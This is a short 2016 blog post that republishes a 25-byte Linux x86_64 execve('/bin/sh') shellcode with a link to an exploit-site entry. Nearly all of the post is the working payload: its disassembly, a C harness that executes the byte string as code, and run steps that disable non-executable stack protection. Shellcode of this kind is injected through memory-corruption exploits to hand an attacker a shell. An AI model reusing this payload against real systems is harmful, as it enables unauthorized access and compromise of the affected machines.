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Saturday, 26 March 2016

Ajith KP

Linux/x86_x64 - execve(/bin/sh) - 25 bytes

Hi GuyZ,
     You can find it from: http://0day.today/exploit/25119

Source Code


/*
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Linux/x86_x64 - execve(/bin/sh) - 25 bytes

Ajith Kp [ @ajithkp560 ] [ http://www.terminalcoders.blogspot.com ]

Om Asato Maa Sad-Gamaya |
Tamaso Maa Jyotir-Gamaya |
Mrtyor-Maa Amrtam Gamaya |
Om Shaantih Shaantih Shaantih |

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Disassembly of section .text:

0000000000400080 <.text>:
  400080: eb 0b                 jmp    0x40008d
  400082: 5f                    pop    rdi
  400083: 48 31 d2              xor    rdx,rdx
  400086: 52                    push   rdx
  400087: 5e                    pop    rsi
  400088: 6a 3b                 push   0x3b
  40008a: 58                    pop    rax
  40008b: 0f 05                 syscall
  40008d: e8 f0 ff ff ff        call   0x400082
  400092: 2f                    (bad)
  400093: 62                    (bad)
  400094: 69                    .byte 0x69
  400095: 6e                    outs   dx,BYTE PTR ds:[rsi]
  400096: 2f                    (bad)
  400097: 73 68                 jae    0x400101
---------------------------------------------------------------------------------------------------

How To Run

$ gcc -o sh_shell sh_shell.c
$ execstack -s sh_shell
$ ./sh_shell

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*/
#include <stdio.h>
char sh[]="\xeb\x0b\x5f\x48\x31\xd2\x52\x5e\x6a\x3b\x58\x0f\x05\xe8\xf0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
void main(int argc, char **argv)
{
 int (*func)();
 func = (int (*)()) sh;
 (int)(*func)();
}

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